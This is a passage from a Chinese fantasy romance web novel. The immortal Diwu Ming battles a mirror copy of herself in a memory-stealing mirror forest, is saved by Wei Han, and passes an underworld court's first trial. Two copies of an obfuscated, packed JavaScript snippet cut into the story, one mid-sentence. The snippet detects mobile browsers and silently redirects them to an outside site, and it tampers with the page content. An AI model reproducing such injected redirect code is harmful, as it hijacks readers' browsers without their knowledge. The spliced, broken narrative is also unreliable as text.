第五茗看得一头雾水,抬手指向自己,她总觉得…似乎是哪里有些不对劲儿。 90. 不讲道理就是理4 猛然,第五茗转过身,道:“哎呀!糊涂啊糊涂,你一定说的是本君身后…多谢!” 追兵将至,她不等情丝的反应,脚下快速背离情丝镜面前进,刚走了两步,她便不小心闯破了一面透明的镜子。稀里哗啦地,那镜面碎入了地面,她站定在了紧邻的两面镜子前,而那其中一面,里面正有十七只小鬼的身影。 第五茗深凝双眉,道:“你们怎么会在这里?” 镜内人没有回应她。 风有情和天兵搜索的进度,她不知道到什么样了,心慌意乱,嘴里振振有词道:“这时候,怎么这般拖沓,让风有情寻来了,你们就死定了!” 覆手在镜面上,她准备施展法力,强把十七人拖出来再说。 金光不现,咒符不生,她才发现体内空空,法力竟是离奇的,一丝都没有了。 手上动作不停,她探寻神格。 还好,神格还在。 又以神格之力,查看自身情况… 怎么回事!??她的仙身何时变成一具魂身了?!! 第五茗一脸茫然,拼命在脑中查找办法,可惜,古往今来从未有一位上仙,从仙身沦为鬼身。 她拼命地想,拼命地回忆… 冷不丁地,再抬头,她竟然瞧见镜面里的十七只小鬼,背影变换了一副状貌,身形大变,样貌不复,仙服玉袍,法器傍身,金辉耀眼,浑然一副飞升后的仙君状貌。 然而,这十七人中,却只有十人是这样,模样越来越清晰,慢慢朝镜面处走来,另有七人,只见模糊身影,未有具体轮廓,原地不动。 第五茗退后半步,嚷嚷道:“你们…你们是谁?” “上君…” “是我们啊。” “你不认识了?” “我们是你的十七只小鬼…” 一阵刺痛,席入第五茗脑穴,她在镜内人的絮语中,头越来越疼,意识渐渐模糊,蹲在了地上,没了声音。 镜中的人并没有停下,七嘴八舌,七言八语。 良久,第五茗双手捂耳,垂下的脑袋,嘴上爆出一声咒骂,“烦死了!” 镜中人一顿,很是灵性地倾听。 随即,便听见第五茗一人声音响彻天地,吐槽道:“孽镜台的禁制是不是智障弄的…搞这么多花样,抽记忆就抽记忆,你还想给我玩失忆,玩失疯!!怕不是有病吧!!!那智障是不是在司命府的簿子里进修过!!!这么狗血!!还要不要脸了…” 第五茗站起来,稍稍松手,听见没有人说话,不适地,揉了揉脑袋,模样狰狞,动作倒是从容至极。 是的,此时的她,已经回来了。 不再是困在记忆中的司命真君第五茗。 而是历了千劫万难,一直没有成功回归天位的上君第五茗。 她对镜面里的“记忆”道:“你怎么敢的!!其他小鬼便算了,他你怎么敢的。这形态…你怕是不清楚吧,那是你主子!!!” 她后退两步,像是怕什么东西溅在身上,特意提前躲避。 她淡淡道:“隗七,出来。” 一人身影,闻言,欲要破镜。 果然如此… 原来,当第一面镜子破碎时,第五茗便细细琢磨上了:孽镜台究竟是个什么东西?为什么里面会既有记忆,又有进来人留下的东西… 手和剑那面镜子给她留下的潜意识疼痛,让她大胆猜测,镜林里抽走的实物,是为了让主体替镜子承受记忆里的力量。 比如,手和剑那股记忆里的疼痛力量,若是镜面不堪重负,也是一个“人”,指不定会被活活“疼死”,但有了手和剑在,那段记忆,只会在手和剑中反复上演,“痛”的力量传不到镜子上,“人”就不会死,镜子不可能会碎。 这会儿,第五茗四肢健全,身体各个部位都没有受伤,说明镜面只抽走了她的记忆,还没来得及从她身上套走一手一脚。 所以,这些记忆力里的人和物,它承受不住,也困不住。 孽镜台测心境,也并非是真的要害人,而是见进来的人,有没有勇气和镜面一争心中深处的执念。 镜内,隗晎的手刚碰上镜面… “嘭——” 镜面不堪记忆里的力量,炸落成碎块,如细雨一点一点没入地面,那“雨”里,一个又一个人影,消失在其中。 第五茗脑海中,慢慢地,有了饶笒宣读神旨之后的记忆。 当时,她带十七只小鬼逃去了京都皇城,又辗转到三宫九府,在仙府外烧法力,烧功德,烧修为,烧神格…虽没有修炼至帝君之能,她却是在那一个月,不计后果地烧出了一方帝君才能承载得住的金辉。 好在,三官大帝心慈,不忍她就此把自己烧没了,帮了她一把,助她为十七只小鬼重写命数,重生为人,重头来过。 第五茗喃喃道:“竟是抽走了这些…” “雨”下完了,人影却没有全部消失。 “你怎么还在!!” 第五茗大惊失色,抬手指着对面,颤颤巍巍地四处张望,警惕镜林里的每一片镜子。 对面的那人,正是方才走出来的隗晎。 他站在原地,不动,也没有言语,目光炯炯有神,紧紧盯着第五茗。 隗晎未语,第五茗松下心来,抱住脑袋,手指不安分地在脑门敲敲打打,疑虑道:“难道孽镜□□独把关于你的记忆留下了?不应该啊…第一次司命府见面的记忆还在,你拼酒求入司命府的也在,第二天宫那些更是不少,难道是司命府内?司命府…” 第六天宫的司命府,就那么一间屋子,平日没什么仙,只有一群围观的小鬼… “啊!!” 镜林内,第五茗的尖叫声回荡不绝… 霎时,肉眼可见的,第五茗脸红耳热,双手捂脸捂眼,不敢直视面前神色有微微异样的隗晎。 她埋头责备,自言自语道:“这破镜子什么不照,怎么将那事让我看了!!一段记忆都没抽走,还要免费赠送我一段?!你不亏吗!!!真是的…还不如把关于隗七的记忆全抽走算了…羞耻羞耻,太羞耻了!!!堂堂司命真君居然欺负了一只小鬼…不成体统!有伤大雅!!为虎作伥!!!” 话音未落,她透过指缝,忽地瞟见剩余最后一面镜子中的景象,顿感好奇,散了心中不耻事,仔仔细细观摩。 第五茗缓缓放下掩面的双手,在镜子面前左右转动,深思道:“镜子?” 如她所见,镜面上出现了一个一模一样的“第五茗”。 面红耳赤,羞臊难耐,神色慌张…竟然是此时的她。 并非照过往,也并非记忆内的形貌。 孽镜台内的镜子,就这一会儿,她见识的几面,都非同凡响,让她心里很清楚地知道,这里根本就不可能有寻常照面的镜子。 第五茗小心翼翼地靠近镜面,用她如今不太好使的眼睛,观瞧端详镜面中的人。 她的动作,让那“人”,同样看着她。 像是在找茬,第五茗从脚上的鞋,看向身上的衣服,再到发饰…镜面上,依模照样,从她脚上的鞋,看向她身上的衣服,再到她的发饰… 耳朵、嘴、鼻子、眼睛、眉毛…两人自问自答道:“有不同?没有啊…如出一辙。” 两人拍拍脸,丧气道:“气色差了点…” 顿了,第五茗回头,瞟了眼近在咫尺的隗晎,正在这时,镜面中的“第五茗”嘴角含笑,顺势看向隗晎。 第五茗转回头,镜面中的“她”也恢复如初,两人一起道:“该让小五多给上点粉的。” 隗晎那嘴张了张,刚想说点什么,第五茗再次尖叫一声,响破天际。 “啊!!” 第五茗顺手拖走隗晎,塞到其他镜面背后,一起藏好,她才敢探一点头,朝镜面偷瞧去,问道:“你是神格记忆?” 镜面里的“第五茗”终于当着她的面变样了。 “她”靠近镜面,眼睛四处看了看,搜寻第五茗的身影,道:“你如何发现的?!” 第五茗道:“大哥,你把我的靶子都挂出来了,你问我怎么发现的,“我”有这么笨吗?好歹是天生神格。” 镜面里的“第五茗”摸向额心,愤怒道:“你先出来。” 第五茗拒绝道:“我不。我还不知道这镜子在搞什么鬼呢…花样这么多,怎么不去人间变戏法呢!刚结束一出,又整出你这么一出,有完没完了!!” 镜面里的“第五茗”笑道:“你已经是废人一个,不要逼我动手…我不想伤害你。” 第五茗嘴角挑起,道:“我怕你啊!有本事你就出来啊…你又出不来,嚣张什么…啊!!” 原来,镜面里的“第五茗”虽然出不来,法力却是尚在,“她”循声寻人,同时手决施法,第五茗猛然摔在了地上,半个身子漏出镜面。 “第五茗”低头阴笑,手上一动,法力充盈,第五茗被拖到了镜面前。 第五茗疼得龇牙咧嘴,侧转身子,一只手掌攀上半边屁股,揉搓道:“你太粗鲁了!!” 镜内人轻笑一声,那“第五茗”皱起眉,背了一只手在身后,倔道:“谁叫你敬酒不吃吃罚酒,让你出来的时候,不乖乖出来。你既是我,该知道我是说一不二的…光想怎么能成事儿!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841772|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第五茗点头附和道:“那倒是…不过,伤敌一千,自损八百。疼吗?哈哈哈…” 放在屁股墩儿上的手,她收了回来,指向镜面里“第五茗”背后的那只手,不怀好意地挑了挑眉,顺带讥笑了几声。 镜内人撤手摔袖,“第五茗”震声道:“算了,懒得和你扯,我还有重要的事要做。” 屁股墩儿好一些了,第五茗从地上爬了起来,顺“她”话,正经问道:“你要做什么?” 镜面里的第五茗笑道:“你这样胡作非为,放在外面我不放心,哪天你真不顾我安危…可不好。” 好家伙!第五茗刚从地上爬起来,脚下都没站稳,腰上一股力道,将她拖向镜面。 她无语道:“我这不打招呼就动手的毛病,有点惹人厌啊!你怎么不改一改!!” “第五茗”闭嘴不语,全神贯注地发力拽她。 第五茗无奈地甩动四肢,向四周抓捞… 诶?? 空荡荡的镜面,竟真让她反手抓到了一个“东西”。 软软的,暖暖的,一二三四五…还有五根“树杈”… 为了更好地抵抗腰上那一股力道,第五茗张开五指,与“树杈”十指紧扣,没等她回头瞧一眼“树杈”,面前,传来“第五茗”的怒喝,道:“隗七!你这是要做什么?违抗我吗?!” 第五茗身后,熟悉的气息将她包裹,她与“树杈”交织的手被送回了她面前,一只青袖大手,并行从她腰间扫过,她腰上的那股力道渐渐减轻。 第五茗疑惑道:“隗七?” 她想回头,却因抵在隗晎胸膛上,转不动。 隗晎的声音在她耳旁响起,道:“是我,上君。” 上君? 是上君…不是唤的真君!! 第五茗低头看了两眼腰前的两只手,指节分明,白净无茧,手掌不再干枯无肉,手腕看起来更是强劲儿有力,一只手腕至手背,缠漏出一截银链,有一丝不端正的美,其上不再是破布烂巾堆叠的衣袖,而是一身青云锦袍,流光溢彩。 是凡眼都能看出来的非凡品。 第五茗怔住,回过神,震喊道:“你不是我记忆里的隗七?你是隗七!!你怎么在这里?” 心怦咚怦咚地乱跳,许是惊到了身后的人,那解法的手,缓缓抬起,探上了她的额心,须臾,又放了下去。 第五茗明显感觉到脑后的胸膛“松了一阵劲儿”,由此,她脸色猛地爆红。 因为隗晎方才的动作,为仙者都知晓,那是在引法力,行岐黄术,替她检查身体。 隗晎应答道:“路过,进来瞧瞧。” 定下心,第五茗仔细聆听,思绪飘远,她竟是分辨出隗晎的声音远比做「酆小洪」时,清澈有力,正气端雅。 第五茗摇了摇头,拉回神思,狐疑道:“实话?” 隗晎气息平稳道:“实话。” 第五茗咬牙问道:“你…你现在是顶着酆小洪的身貌,对吗?我…我该是没有失礼吧…” 猛然,她察觉到脑后胸膛一震,随她话而发生了变化。 不多时,那胸膛硬了两分,轻薄了几分,同时,腰前的手,变得骨瘦如柴。 第五茗看傻了眼。 隗晎哑然道:“上君猜的没错,是我食言了,顶着那副形貌来了此处。” 镜子里,“第五茗”气急败坏,指着隗晎,怒嗔道:“隗七!我当初还真是养虎为患,你对她言听计从,如今是要看着我去死吗?她那样不听劝,我会死的…我会死在天道下,你忍心吗?” 说着说着,镜面里的“第五茗”如溪亖音一般,撒泼打赖,呜呜咽咽,大颗大颗地掉起眼泪。 第五茗额角轻跳,喝止镜内人道:“你哭什么哭啊!!丢不丢人…” 闭上了眼,第五茗无颜当着隗晎的面,和他一起看如此矫揉造作的自己… “第五茗”哽咽道:“我就快死了,我怕什么丢人!还不如痛哭一场的好。最好是能在天道中挂上两行泪,仙友来见了,定会唏嘘两声,就不至于把我忘了,你们这十七只小鬼见了,肯定也会一直念着我,和那些地下小鬼念他们每一世的亲友一般,我仍算是存在过…不枉我来这世间跑了一趟。” 隗晎沉沉道:“上君…” 第五茗双手堵住耳朵,提醒身后人道:“隗七掩耳,她的话有咒,这法子惑心…” 为时已晚,听“第五茗”的蛊惑,隗晎制衡的法力疏忽了一阵,第五茗腰上力量一重,她由“第五茗”一直没送开的法诀,被拖进了镜面里。 顿时,隗晎神醒目清,愁容不展,大喊道:“上君!” 91. 不讲道理就是理5 “第五茗”表扬道:“我的好隗七,你也不希望我就此殒没,对不对?哈哈哈哈…哎哟喂…疼死了…” 这一摔,比在镜外的第一跤,第五茗觉得更疼。 “第五茗”龇牙咧嘴,第五茗犹如乱箭攒心… 但前者痛地甘之如饴,后者却是疼得有些不明所以。 怎么会这么痛? 不对!! 越来越疼了… 最后一跤,第五茗疼得久久缓不过来,让她睁不开眼。 眼下,持续异常的疼痛,让她不得不强迫自己撑开眼皮。 眼前景象,称不上有多赏心悦目。 “第五茗”的脸,仿佛一张巨饼,凑近她眼前,放大,放大,再放大! “她”脸贴着她,胸挤着她,腿压着她,手上拼命地撕扯她的身体,像是要拉开一条缝,钻进她的身体里… 第五茗紧张道:“你…你要…做什么…” “第五茗”道:“忍一忍…哎哟喂,怎么这么疼!等我占据了这幅身体…你就轻松了…” 第五茗大喊道:“你谁啊你!!” “第五茗”答道:“我自然是你,我还能是谁…” “…” 第五茗换了一个思路,问道:“你…占肉身…要做什么…” “第五茗”如实道:“你不听话,我们需要尽快渡劫回天上去,下一世便让我来吧。” 第五茗拒绝道:“我不要!” “第五茗”道:“由不得你!!” 俨如是在问心。第五茗发问,“第五茗”必答,且毫不掩饰。 “第五茗”动作不停,第五茗也没有坐以待毙,双手奋力想要推开身上人…几番折腾,第五茗才发现,两人力量悬殊之大。 “第五茗”埋进去了一只胳膊,“她”停下来歇息,顺带挖苦道:“别白费力气了,有本事你就捏碎我,否则…从此间出去的,以后只会是司命府真君第五茗。” 说到此处,“第五茗”痛苦的面容上,漏出了一丝诡异的笑容,一点神格该有的灵气都没有,妖冶至极。 第五茗瞧得真真切切,心中嗔道:原来,我以前做仙时,是这般傲世轻物,没头没脑吗? 实在愚蠢… 难怪,只是帮十七只鬼修仙,都能把自己弄成这幅狼狈模样。 第五茗眼中精光一闪,嘴角含笑道:“多谢提醒…” 她双手掐上了“第五茗”的脖颈。 “第五茗”来不及继续塞身体,单手阻止脖子上的双手,骇然道:“咳咳咳…你在做什么!?” 第五茗嗤笑道:“你不是让我掐死你吗?” “第五茗”挣扎道:“你给我放开!掐死我,你也会死的!!” 闻言,第五茗脖子上呼吸一滞,痛楚感同身受,她动作丝毫未停,嘲弄道:“你这面破镜子,玩谁呢!我的神格在天道下挂着,就你仿这个,还差得远呢!!妄想让我畏惧!!去死吧!!!!” “第五茗”脸色惨白,争辩道:“我就是你的那副神格…咳咳咳,放手…你给我松手…你舍得吗?我真是你的那副天生神格,你看…我额间,我真的是!孽镜台将我从天道捆下来的…咳咳咳,没了我,你就什么都不是了…咳咳咳咳…” 听到这话,第五茗不由得一颤,看了眼“第五茗”,嫌弃道:“我以前还真是够讨厌的…” 然而,心中不认道:呵…学得还真像。 “第五茗”挣扎道:“你…想死吗?第五茗!你…咳咳咳,你不想死的,你没…感觉到吗?你喘不上气了…我死了,你…你会和我一起死的…咳咳咳…” “她”的话没错,第五茗犹如在受地狱之苦,能呼吸到的空气越来越少。 但是!她双手没松。 手上用了更大的劲儿,一脸严肃,她认定了今日这“第五茗”是假的!! 第五茗大口喘气道:“那又怎样!即便…你是那副神格,今日…我也要捏碎你,大不了…和你同归于尽…” “第五茗”气息渐渐孱弱,第五茗的生气也越发虚软。 即便不死,她估计也得残了。 与此同时,镜面外的隗晎神色焦急,袖展法随,解了禁锢自身法力的“酆小洪”模样,掌心凝力,欲震碎镜面,救出第五茗。 谁知,镜面先他的动作一步,从上至下,贯穿出一条裂缝,那缝隙越来越大,从那一条缝上,生裂出一道道花纹,霎时,如“冰裂”,乒乒乓乓,镜面碎成了渣。 同先前两次细碎的小块不一样,这一次,仿佛利针,在镜面碎掉的那一刻,全部刺向了“第五茗”。 仰面平躺的第五茗意识早已朦胧,她不知道镜面的情况,在一片密针准备“射杀”她身上的“第五茗”时,她的双手单靠蛮力,凭空捏炸了那“人”… 那镜面变成的针,轨迹未变,瞬间,全部刺向“第五茗”身下的第五茗。 这时,第五茗与针之间,突显白光,而第五茗掌心有一道仙君誓约的金痕在闪烁,那光芒替她挡下了一片针雨。 第五茗眼皮半垂,有气无力地看了眼面前的通阳太明之印,嗫嚅道:“隗七…我赌赢了…对吗?” 隗晎瞬息至第五茗身旁,道:“嗯,上君,你赢了。” 好俊美轮廓啊… 第五茗眼睛似笼罩白雾,她看不清…她好想瞧清楚… 她喃喃道:“那就好…” 一句话还没说完,第五茗晕死在了隗晎怀里。 隗晎招来通印,用法力锁在第五茗腰间。随后,他立即引出里面的神力,帮第五茗调息,深感无力道:““她”只是一片幻象,捏碎后,都能伤你这般重…若换做天道下那副神格,你又如何承受得住呢…” 他怀里的第五茗,身体方恢复了一点,便在梦里呓语道:“我错了吗?我哪里错了?明明是你们眼瞎!若是老天睁睁眼,当知道,从他们身上来看,你们这样做,才是错的!!!他们的命…不该如此,是你们强改成这样的…不公…执笔不公…拿只是一串字符…” 隗晎紧蹙双眉,手中渡上法力,让第五茗心境平稳,使她能睡得更沉稳一些。 可第五茗嘴里,却时不时仍会冒出点梦话。 隗晎担忧道:“上君,三面镜山已碎,为什么还要将自己困在里面呢…” 没错,第五茗又做梦了,不过不是嘴上念叨的那些事…身处孽镜台,她的梦境依旧都是些回忆,只是这一次和上几次的回忆有所不同。 这一回…她在梦里闻到了隗晎的气息… 暖暖的,软软的… 所以,受隗晎气息影响,本来挺寻常的梦境,突然全变成她和隗晎有关的片段… 这些记忆在当时来看,都挺正常的,但由于现下梦境里全是隗晎的气息,她细细品味其中,竟发散成了另一种意味。 第一段梦境,是在第二天宫。 隗晎为第五茗温酒,有鬼仙嫉妒,故意添火,让定时定热的阳火多烧了一会儿。 奈何鬼身对火最是没有办法,隗晎无奈,只能等火烧尽。 他刚拿起酒壶,准备把酒壶浸进冰池子里泡泡,身体便被灼烫得滋滋冒烟,第五茗恰好回来看见了这一幕,仙衣拂袖,一手夺过酒壶,一手输送法力,替隗晎减少身上的灼伤之感。 第五茗道:“你是傻子吗?” 隗晎自责道:“酒温过头了。” 第五茗嘟囔道:“烫便烫一些吧,本君仙体,自然不怕灼烫,你难道忘记了自己是一只小鬼吗!” 隗晎沉声道:“没有,我知道鬼喜冰恶热,也知道小鬼没有练出魂体,碰阳火会死。” 第五茗皱眉道:“那还敢用手拿热酒壶?不想要命了?你们才烧了命格簿子,是嫌剩下的命太长了?” 隗晎嗫嚅道:“从炉子到冰池,只有数丈,渡法力隔着的。” 第五茗怒道:“你那点法力,够用吗?!!” “异想天开!非要到魂飞魄散时才知道远?你若是没了,本君怎么办??你要抛下本君!?” 隗晎眼神闪烁道:“真君…” 第五茗不悦道:“嗯?!!” 隗晎眼眶红润道:“我知道错了…” 那是隗晎第一次认错,第五茗因正气头上,根本没看清隗晎那一副软软凄凄的模样,更没留心那一句“我知道错了”有多麻心,也不知道她本人说了多越界的话。 当下,第五茗梦境中再见这一段记忆,脸色羞红,心中荡漾,满意当日无意间调戏了臭屁小孩,又后悔那日粗枝大叶,错过了揉捏一个傲娇小屁孩的机会。 第二段梦境,是在第二天宫的那间小院子,众人都在。 不懈努力下,十七只小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15851769|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼总算是相貌大变,身上金光隐现。 一群鬼凑在怀晓面前仔细端详,纷纷咂嘴。 第五茗为首,叹息道:“可惜了,可惜了…” 溪亖音摇摇头道:“怀晓哥哥怎么会喜欢如此凶狠的容貌?怪吓人的,像人间的官大人…可平日里,怀晓哥哥对我们又很温和…唉,那句人不可貌相,我终于算是理解是何意思了。” 南泥“啧”了一声,道:“怀晓若不改容貌,定是不会让隗晎后来者居上,我见过好几只女鬼对隗晎抛媚眼。” “我这副模样明明也不错的…” 乐正词媿不满道:“算了吧,你根本没什么看头。” 南泥气鼓鼓道:“乐正词媿!!” 乐正词媿一本正经道:“我说的是实话。若只比容貌,隗晎比之我这一副,还是差了些。” 凉离笑了笑道:“你是姑娘家,若是隗晎修成你这样,那还了得。” 被讨论比较最多的两人,怀晓只是温煦地笑了笑,隗晎却望向第五茗,道:“真君觉得呢?” 第五茗眼睛发亮,高兴道:“你的正正好,瞧着赏心悦目,是难得的好相貌。乐正词媿的容貌,女子身段加成不少,至于怀晓,也不算差,刚毅之色,瞧着安心。” 隗晎直言道:“这幅容貌,真君看着喜欢?” 第五茗道:“自然喜欢,谁不喜欢看一幅画…还是这么靓丽的美画。” 隗晎眉开眼笑道:“真君看着喜欢就好。” 其他人频频吐槽道:“若是我修为如此,我也修好看一些…” “隗晎任性,他拿了一半的精力来修容貌,你行吗?” “早知道就不管形貌了,当在修为上追一追才对!” “你修为能有隗晎和怀晓高?算了吧…” 嘀嘀咕咕,一个小院热热闹闹,第五茗兴奋至极,融入其中,乐不思蜀,自然是没看出、也没听出这其中的意思。 再来品味一回,第五茗也是一脸茫然,不过她却发自内心地想找隗晎问一问: 他为什么要在意她喜不喜欢呢? 她喜不喜欢又有什么关系呢? 还有!!当时迟迟未飞升,竟是拿了一半的修为去凝造肉身?! 浪费!!!!啊!!!!! 第五茗好想回到当初,狠狠在隗晎脑袋上敲上一棍。 不过,隗晎那一副相貌,真是淬炼在了她的心坎上… 醒来前,第五茗还梦了最后一段,是在第六天宫的司命府。 这一段梦境,她别说是看懂了,再来一次,她连前因后果都没弄明白。 那是众人逃亡前,第五茗在司命府的软榻上醉酒打盹…姿势就不言而喻了,不堪入目,不可言喻,不当回忆。 邋遢,随意,毫无戒备… 第五茗那日醒来的时候,软榻周围有一方结界,隗晎背向软榻,坐在桌案前入定。 许是第五茗刚醒来的呼吸声,又急又燥,慌乱不堪,让她一有点动静,那边入定的隗晎便瞬间出了境。 隗晎道:“真君醒了?” 第五茗哼哼唧唧,伸了一个懒腰,道:“嗯…你怎么在这里?” 须臾,她继续问道:“这结界是你立的?” 隗晎默不可闻地“嗯”了一声。 第五茗挥手打算解掉结界,隗晎急忙道:“门口围了一些小鬼,真君酣睡刚起,要不再等等。” 第五茗点头道:“好吧。” 结界便那么放着,一直没撤,直到第五茗需要出门去第一殿,隗晎犹豫再三,才打散了法力,撤回结界。 第五茗本来没当一回事儿,可是,这段梦结束时,她脑中猛然窜入第二张镜面赠送给她的记忆,她突兀想道:不会是又让隗晎喝了阳酒,干了轻薄人的事吧?!! 答案,她自是不敢向当事人求证了。 不管是发生了何事,第五茗十分感谢隗晎,那日,他替她遮了羞。 也庆幸,那一日除了饮酒,第一殿有不少事需要她处理,因而让她心思不在隗晎拉起的一方结界上,不然,真攀扯起来,他两的这关系该怎么算? 这可有些不好… 一仙一鬼。 如今,好像也不好算… 一鬼一仙。 唉… 不清不楚,看来最好。 92. 十殿试九道小试1 第一殿,判罚殿中。 第五茗闭目叫唤道:“贺仁…殿下…殿下?” 贺仁迟疑了会儿,应道:“上君。” 第五茗还没睁开眼,就又张口问道:“我…可是出来了?” 贺仁顿了顿,道:“对啊,上君可算是出来了。” “嗯?” 一番话,听在第五茗耳里,她感觉贺仁有些阴阳怪气。 没等她再一次讲话,审判殿内响起一阵脚步声,她蹙了蹙眉,努力抬起眼皮,侧头向声音传来的一方望去,便瞧见贺仁熊服鬼面端端正正套在身上,他正恭恭敬敬地,在远处上行下沉梯入口,目送一众人离去。 那群人当中,有一人,尤为突出,第五茗见着有些陌生… 那人,被贺仁挡住了大半个身子,她只能瞅见缥缈青云锦袍的一片衣角,上面波光粼粼,仙气萦绕。 光看裁缝样式,能一眼瞧是天界仙女织的锦衣。 不过,能带仙法的锦衣却是少见的,一般都是仙君的玉袍,才会置符附法,充盈仙气。 那衣角过于轻盈潇洒,更像是常服,不像是玉袍制式。 第五茗眸光狐疑,心道:这是哪方的大仙?怎么会到地下来了?? 那衣角隐匿,仙气残存,第五茗眼皮轻松了些许,她在缝隙中,定睛偷探,大致看清了那人…哦,不对,是那仙君的背后轮廓。 对方身材高挑,脊背挺立,硕而不壮,一个后脑勺不变不平,圆润饱满,煞是好看。 呃…没错,仙君的一个后脑,是第五茗活了这么久以来,见过修得最漂亮的。 尤其那一束青丝,实在是飘逸。 在阴风的吹拂下,秀美不羁,头顶单单簪了一顶苍碧玉珠冠,华丽又不失素雅,见之,就能让人凭空想象出了一副俊美仙姿。 第五茗心道:这仙君必定极其注重外表。 着装如此讲究,身形也是万里挑一,想来相貌在天界定是顶顶的好…这些年不在天上,竟还出了这般养眼的仙友吗? 可惜了… 浪费了。 司命府那些人,准是一如既往地,不愿寻些现成的仙君好模样去写簿子。 若是早些年飞升就好了,指不定能让我写给凡人用用… 那厢,上行下沉梯中的一众人没了身影。 贺仁同审判从上行下沉梯走出了来,一起向软榻而去。 “咳咳咳…” 第五茗咳嗽两声,吸引两人注意,半撑起身子,道:“方才出去的仙君是哪路神仙?几时飞升的?可是在冥府任职?不会是来受罚的吧?我怎么没见过....模样是不是生的特别俊朗?你们认识?气质看着和地府不太相称啊,那头顶的发冠品味极好…” 贺仁翻了一阵白眼,回过神,道:“上君,你不认识那位?不可能吧…” 第五茗迷迷怔怔,回想起刚刚那一眼所见,摇了摇头,确定道:“不认识。” 贺仁嘴角含笑道:“上君若是不认识,那就真是奇了个大怪…” “上君迟迟未能走出孽镜台,我们被遣出去一盏茶的功夫,上君就出来了,若是非亲非故,他怎么会将上君从孽镜台中…领出来呢?” 第五茗顿愕道:“他帮的我?” 贺仁点了点头,审判和一众鬼差不明真相,倒是愣了一瞬。 作弊之事,由一殿主事说得如此坦然,第五茗反倒有些不好意思了。 在殿内所有眼睛的注视下,她不好意思地笑了笑,自我争辩道:“来第一殿时,我可没提前找仙君帮忙啊…你们可不要误会。” 贺仁挑眉道:“是吗?” 这几日,第五茗身上的金光,噼里啪啦地炸响,任是再不懂其中门道的鬼差,听见第五茗这番话,也都露出了和贺仁一样的打量神情。 第五茗笑容僵住,手指抚上眉骨,半掩脸面,调侃道:“那位仙君心慈,贺仁殿下该是要阻止的,殿下…你这可是违规了哈,仅此一次,下不为例,怎么能徇私舞弊呢,不公正…不公正…叫其他小鬼瞧了,定是要编排第一殿闲话的…” 越说越小声… 越说,底气越不足… 气氛尴尬,其他人只笑不语,审判热心附和道:“上君廉正,今日结果若实在违心,且有背上君修行的话,或许可以请殿下再替上君开一次孽镜台,让上君有机会重新考核?” 鬼差们齐齐赞同。 贺仁挥袖撤了身上繁复的装束,逗笑道:“倒是可以。为上君办事,本君不嫌麻烦的…” 第五茗打断他的话,坐起身来道:“大可不必!!” 贺仁眼露惊讶,嘀咕道:“上君身体恢复得这般快…” 他声音太小,没有人听见这一句感叹。 第五茗心思都在重入孽镜台之事上,未觉身体有疑,双手挥动,道:“不可…不可!!进两次孽镜台…这不合规矩,也不合适。” “殿下与诸位不要劳神费力在我身上,多浪费啊。再说了,第一殿若真让一只小鬼进两次孽镜台,明面上听着,不就像是第一殿在欺压小鬼吗?!依我看,这再进一次的提议便作罢吧,传出去…太损第一殿的名声了。” 回想起孽镜台里的三面镜子,第五茗浑身瞬起寒颤…后遗症都这般大,要是再来一次,怕不是真打算让她把小命直接放哪儿吧! 审判认真思虑道:“上君所言有理,是我等考虑不周。” 贺仁收敛容貌,坐上软塌,施法搭上第五茗的手脉,收回,抱礼道:“恭喜上君,第一殿试验便算过了。” 他心里却犯嘀咕:帝君给了什么神丹妙药,竟能让一个入了孽镜台的仙君体,瞬间好得差不多… 这比新生水还神!! 应声,其他鬼差相继朝第五茗道贺。 第五茗面容喜悦,向四周回礼,道:“同喜同喜,多谢多谢。” 她最记恩,脑中一直没忘掉那一小抹背影,不放弃地,同贺仁打探道:“殿下还未告知,方才那位仙君究竟是谁?他的名号难道不可说吗?殿下是准备顺道遮掩过去了?” 贺仁苦笑道:“上君误会啊,那位的名号当是不说,你也该是知道一二才对…” “在冥界地府数万年啊,不晓得上君是怎么混过来的,当真是心大,什么都不关心。” 他顿了顿,清理喉咙,正声道:“那位,便是住在泰山仙府的现任东岳帝君。” 第五茗吃惊道:“是他?!” 心里却默默念出了一个名字:隗晎。 贺仁继续道:“今日,帝君恰巧同天庭派下界的仙君入鬼门关前往十八层地狱,本是去处理风雨江鬼魂滞留一事,路过第一殿,众仙君发现上君在孽镜台里受心瘴煎熬,便在此间驻足询问了一番,帝君…” 眉角一挑,贺仁话音稍改,别头道:“帝君他心慈意善,估计见小鬼受难,脚下走不动路,无意间赐了上君一番机缘吧。” 闻言,第五茗脸色涨红,别过头,转身装作很忙碌的样子,将双脚踏到地上,跺脚试探地使力,道:“原来如此。” “啊……” “帝君心大善,啊………” “我真幸运,啊………” 顺他的话,连番感叹了一阵,末了,第五茗回转身,神情十分正经,她迟疑道:“风有情可有问什么?” 其他人仍沉浸在第五茗的唱祷中,贺仁道:“风真君寻常问话。” 第五茗道:“他在阎罗殿内?” 贺仁答道:“是的,若是见到上君,指不定又会催一催上君渡劫之事。” 第五茗点头“嗯”了一声,缓缓站了起来。 刚醒来的疼痛和无力居然全部消失了,她的身体只躺了一会儿,现下竟是无虞,心中又惊又喜,神情却有些不太好。 侧头,她对贺仁摊手道:“贺仁殿下,辛苦你抓紧时间将我的第一殿试测文书备齐,如今冥界地府正是用人之际,我想尽快走完十殿试,也方便我为咱们冥界出一份力。” 